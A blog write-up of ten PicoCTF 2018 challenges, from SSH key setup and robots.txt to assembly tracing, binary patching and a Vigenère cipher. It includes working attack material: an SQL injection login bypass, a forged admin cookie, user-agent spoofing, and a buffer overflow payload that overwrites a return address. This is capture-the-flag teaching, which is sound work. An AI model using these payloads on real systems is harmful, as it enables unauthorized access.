PicoCTF 2018, part 31 through 40


Introduction

This is a continuation of the series on the PicoCTF 2018 challenges I have completed so far. You can find the previous write-up here. You can find a collection of other write-ups in this series on the home page or through the related posts below this post. The challenges are getting interesting...

SSH Keyz150 points


This challenge wants you to add your own public key for SSH connections on the remote server, so that you may login without having to enter your password each time.

As nice as it is to use our webshell, sometimes its helpful to connect directly to our machine. To do so, please add your own public key to ~/.ssh/authorized_keys, using the webshell. The flag is in the ssh banner which will be displayed when you login remotely with ssh to with your username.

This challenge is somewhat funny, as I've been connecting to the shell through ssh the whole CTF; even if you login using username and password through ssh you will get the flag. This means that I already got this flag in Reversing Warmup 1: picoCTF{who_n33ds_p4ssw0rds_38dj21}

Nontheless, adding an SSH key is useful - so we can still do that.

# Generate a simple key without a passphrase 
ssh-keygen -b 2048 -t rsa -f "xoru-pico" -q -N "" -C "Xoru @ PicoCTF"

Now I merely need to add the private key locally and the public key remotely. On the remote server I need to also create the .ssh directory and authorized_keys file. Let's do that first;

cd ~
mkdir .ssh
chmod 700 .ssh
touch .ssh/authorized_keys
chmod 600 .ssh/authorized_keys

Now I simply use cat to copy stdin to stdout and redirect stdout to the authorized_keys file. When I now paste the public key contents in terminal and end with ^C the public key will be written to authorized_keys.

cat >> .ssh/authorized_keys
# paste public key contents
# ^C

The last thing I need to do is locally add the private key using ssh-add, which completes this process.

ssh-add xoru-pico

I can now still use ssh to connect to the remote shell, but without entering a password.

flag: picoCTF{who_n33ds_p4ssw0rds_38dj21}

Irish Name Repo200 points


This challenge provides you with an URL to a website, this beautiful website of Irish faces has a login page. The challenge asks you to do just that, login.

There is a website running at http://2018shell.picoctf.com:59464 (link). Do you think you can log us in? Try to see if you can login!

This one reminds me of a problem I've seen before, specifically the logon challenge. During that challenge we used SQL injection to get what we want. That challenge also required you to modify the cookie to make you an admin.

Funny enough, this one can be solved with SQL injection as well and is even easier than the previously mentioned logon challenge. This challenge only requires you to inject SQL, you are immediately presented the flag.

' OR 1 --

The -- at the end are to ensure every piece of SQL code after our injected code is interpreted by the database engine as a comment and thus ignored. This is the second one I tried, I first tried ' OR 1 # like in the previous challenge. This is all we had to do, we are given the flag!

flag: picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b}

Mr. Robots200 points


This challenge gives you a link to another website with a clue that something is hidden away.

Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell.picoctf.com:60945 (link)

The name for this challenge immediately triggered something in me. Initially it reminded me of Mr. Robot, which is a TV show with the most accurate hacking scenes out there. Aside from that, I was reminded about robots.txt. I did not yet think about this before this challenge, so this is a nice reminder that robots.txt exists.

I append /robots.txt to the provided URL and see a Disallow entry:

User-agent: *
Disallow: /65c0c.html

Naturally I now visit /65c0c.html to see what is so secret that the creator of the website felt it had to be "hidden" from search engines. We get the flag! That was easy.

Mr. Robots Flag

flag: picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_65c0c}

No Login200 points


This challenge asks us to login as admin without having a login form.

Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell.picoctf.com:14664 (link)

To me, this challenge reminds me of the logon challenge, which eventually required us to set the cookie admin to True, so this was the first thing I tried. I typed the magic code in the Chrome Developer Console.

document.cookie = "admin=True";

After that I click on Flag and there we go, we get the flag. I contrast to some other challenges in this point range, I expected this one earlier.

flag: picoCTF{n0l0g0n_n0_pr0bl3m_eb9bab29}

Secret Agent200 points


This challenge presents a website and implies that Google can get all your information...

Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell.picoctf.com:46162 (link)

Upon visiting the website, I click on the Flag! button. You are redirected to /flag and you see an error:

You're not google! Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/70.0.3538.77 Chrome/70.0.3538.77 Safari/537.36

In that error, the website tells you that you're not Google. It also tells you your user agent string, that identifies your browser (or the system making the request). A user agent string is easy to spoof, it shouldn't be relied on for secure tasks, so the next thing I'm doing is requesting /flag with a Google Bot user agent:

Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36

import requests
import re

# Request the flag page with the Google Bot user agent
response = requests.get("http://2018shell.picoctf.com:46162/flag", headers={
    'User-Agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36'
})

# Ensure the HTTP status code was 200 (HTTP OK)
assert response.status_code == 200, "HTTP Status code is not 200"

# Search for the flag in the page, which should be in <code></code> tags
flag = re.search('<code>(.+)</code>', response.text)

# Ensure we found the flag
assert flag, "The flag was not found in the response text"

# Display the flag
print("flag: " + flag.group(1))

During debugging I determined that this worked and the flag was embedded in <code></code> tags. It can therefore be easily extracted using a regular expression. We have the flag!

flag: picoCTF{s3cr3t_ag3nt_m4n_ac87e6a7}

Truly an Artist200 points


This challenge implies that we can find the flag in additional information embedded in the file (meta-material).

Can you help us find the flag in this Meta-Material? You can also find the file in /problems/truly-an-artist_1_59a330544b5c06946dfb0617b1c13330.

I have to stop overthinking the 200-point challenges, because the first thing I did with the 2018.png file is my trusty usage of strings - low and behold, the flag...

strings 2018.png | grep picoCTF
# picoCTF{look_in_image_9f5be995}

Now, the thing is, the hint about 'meta material' triggered me to run exiftool too. And guess what, the flag is in the EXIF tags.

exiftool -Artist 2018.png
# Artist : picoCTF{look_in_image_9f5be995}

Even though the flag says 'look_in_image', I tried submitting it first. It is the correct flag - however flags like this might be false positives in the future, trying to have you actually look at the image (which contained picoCTF and 2 numbers).

flag: picoCTF{look_in_image_9f5be995}

Assembly-1200 points


This challenge mentions asm1, which is a function that returns a value. Your job is to find its return value and submit that as flag.

What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_0_cfb59ef3b257335ee403035a6e42c2ed.

The question is what does the call asm1(0x76) return to the caller. The answer can be deduced from the source code, which is conveniently supplied in the question description. I have placed comments in the source code (eq_asm_rev.S) to indicate the code path, so that the result can be easily deduced.

.intel_syntax noprefix
.bits 32

.global asm1
; parameter (ebp+0x08) = 0x76
asm1:
    push    ebp                         ; preserve ebp
    mov     ebp, esp                    ; move stack pointer to ebp
    cmp     DWORD PTR [ebp + 0x8], 0x98 ; compare parameter with 0x98
    jg      part_a                      ; if parameter > 0x98   : jump part_a (not true)
    cmp     DWORD PTR [ebp + 0x8], 0x8  ; compare parameter with 0x08
    jne     part_b                      ; if parameter != 0x08  : jump part_b (true, jump)
    mov     eax, DWORD PTR [ebp + 0x8]
    add     eax, 0x3
    jmp     part_d
part_a:
    cmp     DWORD PTR [ebp + 0x8], 0x16
    jne     part_c
    mov     eax, DWORD PTR [ebp + 0x8]
    sub     eax, 0x3
    jmp     part_d
part_b:
    mov     eax, DWORD PTR [ebp + 0x8]  ; move parameter in result register (eax)
    sub     eax, 0x3                    ; subtract 0x03 from eax = 0x73
    jmp     part_d                      ; jump to `return eax`
    cmp     DWORD PTR [ebp + 0x8], 0xbc ; [[ unreachable from here ]]
    jne     part_c
    mov     eax, DWORD PTR [ebp + 0x8]
    sub     eax, 0x3
    jmp     part_d
part_c:
    mov     eax, DWORD PTR [ebp + 0x8]
    add     eax, 0x3
part_d:
    pop     ebp                         ; restore ebp
    ret                                 ; return to caller 

Let's simply follow the code. First some common logic is done; push the base pointer (preserve it) and copy the stack pointer to it. When the function returns, the base pointer will be restored by pop ebp right before the ret instruction.

Immediately after that a value at address ebp + 0x08 is compared to the value 0x98, the value at address ebp + 0x08 is the parameter 0x76. That means that the next instruction jg part_a will not jump, as it will only do that if the value was greater than 0x98.

After that there is another comparison. The value at address ebp + 0x08 (the parameter) is compared to 0x08. The next instruction jne part_b will jump, because the values 0x76 and 0x08 are not equal (jump if not equal).

We arrive at the code labeled part_b, which is a bit silly as it contains some unreachable code in this context. The first instruction in part_b will copy the value at address ebp + 0x08 (the parameter) into eax, which is the register that is used for return values. The next instruction will subtract 0x03 from eax. eax now contains 0x73. Right after that instruction, jmp part_d causes the instruction pointer to change to the code labeled part_d. The interesting part of this jmp instruction is that it will always jump, so the code after that (until the next label) is unreachable.

The code labeled part_d only restores the base pointer by the pop ebp instruction. The next instruction returns to the caller, with eax being 0x73: that is our flag.

flag: 0x73

Be Quick Or Be Dead 1200 points


This challenge implies that an executable has to be executed as fast as possible, implying you need to do it 'fast enough'.

You find this when searching for some music, which leads you to be-quick-or-be-dead-1. Can you run it fast enough? You can also find the executable in /problems/be-quick-or-be-dead-1_2_83a2a5193f0340b364675a2f0cc4d71e.

At first I logged into the server using SSH and executed the file. It appears that the execution has a time limit, of about 1 second. This is the output when I run it:

Be Quick Or Be Dead 1
=====================

Calculating key...
You need a faster machine. Bye bye.

It's clear I have to take a closer look at the binary in order to find a solution. I decide that I want to download the binary to my machine using scp, so I can test it locally. The Pico CTF shell is not that responsive in my opinion. Getting it easy:

scp xoru@2018shell4.picoctf.com:/problems/be-quick-or-be-dead-1_2_83a2a5193f0340b364675a2f0cc4d71e/be-quick-or-be-dead-1 ./

I ran it again locally, just to see if my machine was any faster than the remote shell - which might have less resources available to every user. Unfortunately, this was not relevant and I get the same output. Time for IDA!

Reverse It!

IDA64 provides a nice and clear view of the instructions in this program. The function main is straightforward, it only invokes a couple of functions and in the end in will print the flag. The first function it will call is header, which when you look at it simply prints the welcome banner in the console. The set_timer function is what we're after, how convenient that the names are included!

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near ; DATA XREF: _start+1D↑o

var_10  = qword ptr -10h
var_4   = dword ptr -4

push    rbp
mov     rbp, rsp
sub     rsp, 10h
mov     [rbp+var_4], edi
mov     [rbp+var_10], rsi
mov     eax, 0
call    header
mov     eax, 0
call    set_timer
mov     eax, 0
call    get_key
mov     eax, 0
call    print_flag
mov     eax, 0
leave
retn

set_timer

This function is quite interesting (as you might see below) considering it registers an alarm signal. Using alarm you can schedule a SIGALRM to occur at a specific time. The program also sets a handler for this signal, particularly the function named alarm_handler. If you look at the assembly code below, you'll see a variable named seconds contains the number of seconds that is used as a parameter for the alarm(unsigned seconds) call at loc_400789. It is possible to patch the binary and change the value 1 to a large value like 60, so that the algorithm has 1 minute rather than 1 second.

public set_timer
set_timer proc near ; CODE XREF: main+1E↓p

seconds = dword ptr -0Ch
var_8   = qword ptr -8

push    rbp
mov     rbp, rsp
sub     rsp, 10h
mov     [rbp+seconds], 1          ; interesting, 1 second huh?
mov     esi, offset alarm_handler ; handler for SIGALRM
mov     edi, 0Eh                  ; SIGALRM
call    ___sysv_signal            ; register handler 
mov     [rbp+var_8], rax
cmp     [rbp+var_8], 0FFFFFFFFFFFFFFFFh
jnz     short loc_400789          ; jumps to code that invokes alarm(unsigned seconds)
mov     esi, 3Bh
mov     edi, offset format ; "\n\nSomething went terribly wrong. \nPl"...
mov     eax, 0
call    _printf
mov     edi, 0          ; status
call    _exit
; ---------------------------------------------------------------------------

loc_400789: ; CODE XREF: set_timer+27↑j
mov     eax, [rbp+seconds]        ; copy seconds variable to eax
mov     edi, eax                  ; copy seconds value to edi 
call    _alarm                    ; invoke alarm(unsigned seconds)
nop
leave
retn

alarm_handler

The alarm_handler that receives the SIGALRM signal is clear, it prints the text "You need a faster machine. Bye bye." to the console and simply exits the program - this is what terminates the program before the code can finish executing. We need to prevent this function from executing. This is another piece of code that can be patched; it could replaced with NOP instructions or have it return on entry for example.

; void alarm_handler(int)
public alarm_handler
alarm_handler proc near ; DATA XREF: set_timer+F↓o

var_4 = dword ptr -4

push    rbp
mov     rbp, rsp
sub     rsp, 10h
mov     [rbp+var_4], edi
mov     edi, offset s   ; "You need a faster machine. Bye bye."
call    _puts
mov     edi, 0          ; status
call    _exit

calculate_key

Looking from main again, you can follow the get_key function. This function prints a message on the console and calls calculate_key. This function is also special, as it merely serves as an artificial delay for the whole program. As you can see in the code below, it is a loop starting at 0x72FE9111 and it keeps adding 1 to that value until it reaches 0xE5FD2222. This can also be patched, by changing the start value to 0xE5FD2221, making it complete in an instant.

public calculate_key
calculate_key proc near ; CODE XREF: get_key+13↓p

var_4 = dword ptr -4

push    rbp
mov     rbp, rsp
mov     [rbp+var_4], 72FE9111h

loc_400711: ; CODE XREF: calculate_key+16↓j
add     [rbp+var_4], 1
cmp     [rbp+var_4], 0E5FD2222h
jnz     short loc_400711
mov     eax, [rbp+var_4]
pop     rbp
retn

Patching using Python

Let's sum up the possible patches (and there might be more) that can be done:

  • Patch the number of seconds passed to alarm(unsigned seconds)
    This would mean updating a single byte at a certain offset. 0x074A is the offset for the instruction, add 3 for the parameter that has to be changed
  • Have alarm_handler consist of solely NOP (0x90) instructions or have it return immediately, more work.
  • Have calculate_key start its loop at a value of target - 1 so it finishes immediately, this would mean 4 bytes have to be patched.
  • Replace the call to set_timer with 5 NOP (0x90) instructions, so that the timer won't be set at all. This would mean replacing 5 bytes and is also very viable.

I decided to go with the very first option, patching a single byte to change the timeout of the program. I will be patching the bytes inside the file and run it after, however patching stuff like this could be done with a debugger (like gdb) as well by setting a breakpoint before the code in question, changing the value in a register or on the stack and continue. The file patch option is persistent, the debugger option is not.

import os
import stat

address     = 0x074A # offset of mov instruction we need to modify
input_file  = "be-quick-or-be-dead-1"
output_ext  = "patched"
hex2        = lambda x: "0x{:02x}".format(x)
hex2r       = lambda d, a, b: ' '.join([hex2(b) for b in d[a:b]])

# Make a file executable (chmod +x)
def chmod_x(f):
    st = os.stat(f)
    os.chmod(f, st.st_mode | stat.S_IEXEC)

# Open the input binary for reading
with open(input_file, "rb") as binary:
    # Read all the data of the original binary
    all_data = binary.read()

    # Display status
    print("patching:")
    print(" <- mov [rbp+seconds], 01h ; 1 second - alarm(1)")
    print(" -> mov [rbp+seconds], 3ch ; 1 minute - alarm(60)")
    print(" original: " + hex2r(all_data, address, address + 7))

    # Update parameter 1 of mov instruction to 60
    mut_data = list(all_data)    # construct a mutable list from the data
    mut_data[address + 3] = 0x3c # update the parameter of the mov instruction
    all_data = bytes(mut_data)   # convert list back to bytes object we can write

    # Display updated instruction
    print(" updated:  " + hex2r(all_data, address, address + 7))

    # Write result to output binary, which is the patched program
    with open(input_file + "_" + output_ext, "wb") as patched_binary:
        patched_binary.write(all_data)

    # Make the resulting binary executable
    chmod_x(input_file + "_" + output_ext)

When this Python code is run with the program in the same directory, a modified version with _patched appended to its filename is written to the directory. The file is made executable as well, so we can immediately execute it afterwards.

./be-quick-or-be-dead-1_patched
# Be Quick Or Be Dead 1
# =====================
# Calculating key...
# Done calculating key
# Printing flag:
# picoCTF{why_bother_doing_unnecessary_computation_d0c6aace}

flag: picoCTF{why_bother_doing_unnecessary_computation_d0c6aace}

Blaise's Cipher200 points


This challenge asks you to decrypt a chunk of text you can find by connecting to the shell server, implying the cipher was invented by Blaise; Blaise de Vigenère?

My buddy Blaise told me he learned about this cool cipher invented by a guy also named Blaise! Can you figure out what it says? Connect with nc 2018shell.picoctf.com 18981.

When you connect to the server using net cat you are greeted by a large chunk of encoded text. We've encountered the Vigenère cipher in Crypto Warmup 1 before, but this time we don't have a key. There is a very nice website that allows you to use statical analysis to determine the most probable key. When we enter the long text and select the TRY TO DECRYPT AUTOMATICALLY (STATISTICAL ANALYSIS) option, we see a list of results on the left side of that page.

The first result is FLAG, so let's try to use that as a key in the full deciphering of the text. You can do that on the same website; select the KNOWING THE KEY option and enter FLAG as key.

When you now click the decrypt button you see a long text from what seems a Wikipedia article on the Vigenère cipher on the left. Somewhere in that text you'll notice the flag.

flag: picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_095baccc}

Buffer Overflow 1200 points


This challenge implies that we need to use a buffer overflow to get the flag.

Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_2_86cbe4de3cdc8986063c379e61f669ba on the shell server. Source.

I don't have support for 32-bit applications installed on my Linux machine, and I didn't figure I needed to when I looked at the source code of this vulnerable program. Looking at the source code and specifically at the vuln function, I see gets is used to read from stdin to buf[BUFSIZE] where BUFSIZE = 32. Another fascinating aspect of this function is that it displays the return address when it is about to return, so when we overflow the return address we can actually see the result.

I'm guessing we start at a padding of 32 bytes, I'll use a pattern of AAAABBBBCCCC so I can recognize the data if it overflows. I used a python script to quickly generate new padding on each go, and after running it a few times I discovered that the return address is overwritten when a string of size 48 is entered:

from sys import argv

def int_safe(x, d = 0):
    try:
        return int(x)
    except:
        return d

padding_size = 32

if (len(argv) > 1):
        padding_size = int_safe(argv[1], padding_size)

assert padding_size % 4 == 0, "padding must be a multiple of 4"

padding_blocks = int(padding_size / 4)
padding = [chr(0x41 + index) * 4 for index in range(0, padding_blocks)]

print(''.join(padding))
python3 ~/padding.py 48 | ./vuln 
# Please enter your string: 
# Okay, time to return... Fingers Crossed... Jumping to 0x4c4c4c4c
# Segmentation fault (core dumped)

As you can see, the return address 0x4c4c4c4c consists of our last 4 padding bytes: "LLLL". This means that if, instead of "LLLL", you enter the address of the win function (see source), you theoretically overwrite the return address and the function will not return to main - but jump to win. The address of win is 0x080485CB, let's add a feature to our python script so that it appends it to the padding.

Considering we update the previous code, it will still have ugly code for generating a pattern we can recognize for debugging. This could have been done easier by simple piping a one-liner through to vuln. For example; print("P" * 44 + '\xcb\x85\x04\x08', end = "")

from sys import argv
from sys import stdout

def int_safe(x, d = 0, base = 10):
    try:
        return int(x, base)
    except:
        return d

padding_size = 32

if (len(argv) > 1):
    padding_size = int_safe(argv[1], padding_size)

assert padding_size % 4 == 0, "padding must be a multiple of 4"

# the number of blocks required (a block is i.e. AAAA or BBBB)
padding_blocks = int(padding_size / 4)

# the padding
padding = list()

# create the initial padding, length defined in argv[1]
for index in range(0, padding_blocks):
    for i2 in range(0, 4):
        padding.append(0x41 + index)

# an address was provided as argv[2], add it
if (len(argv) > 2):
    address = int_safe(argv[2], 0, 16)

while (address > 0):
    padding.append(address & 0xff)
    address >>= 8

# write
stdout.buffer.write(bytes(padding))

When you now run the following command line, the program crashes after invoking the win function:

python3 ~/padding.py 44 0x080485CB | ./vuln
# Please enter your string: 
# Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
# picoCTF{addr3ss3s_ar3_3asy56a7b196}Segmentation fault (core dumped)

flag: picoCTF{addr3ss3s_ar3_3asy56a7b196}


Related articles